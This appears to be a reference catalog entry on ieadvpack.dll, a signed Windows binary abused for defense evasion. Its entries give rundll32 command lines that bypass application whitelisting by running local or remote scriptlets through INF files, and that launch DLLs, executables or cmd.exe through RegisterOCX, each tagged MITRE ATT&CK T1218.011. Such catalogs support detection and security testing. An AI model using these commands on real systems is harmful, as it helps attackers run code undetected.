.. /Ieadvpack.dll
Star

INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.


Paths:

Resources:
Acknowledgements:

Detection:

AWL bypass

Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).
rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
Usecase: Run local or remote script(let) code through INF file specification.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011



Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).
rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,,1,
Usecase: Run local or remote script(let) code through INF file specification.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011



Execute

Launch a DLL payload by calling the RegisterOCX function.
rundll32.exe ieadvpack.dll,RegisterOCX test.dll
Usecase: Load a DLL payload.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011



Launch an executable by calling the RegisterOCX function.
rundll32.exe ieadvpack.dll,RegisterOCX calc.exe
Usecase: Run an executable payload.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011



Launch command line by calling the RegisterOCX function.
rundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"
Usecase: Run an executable payload.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011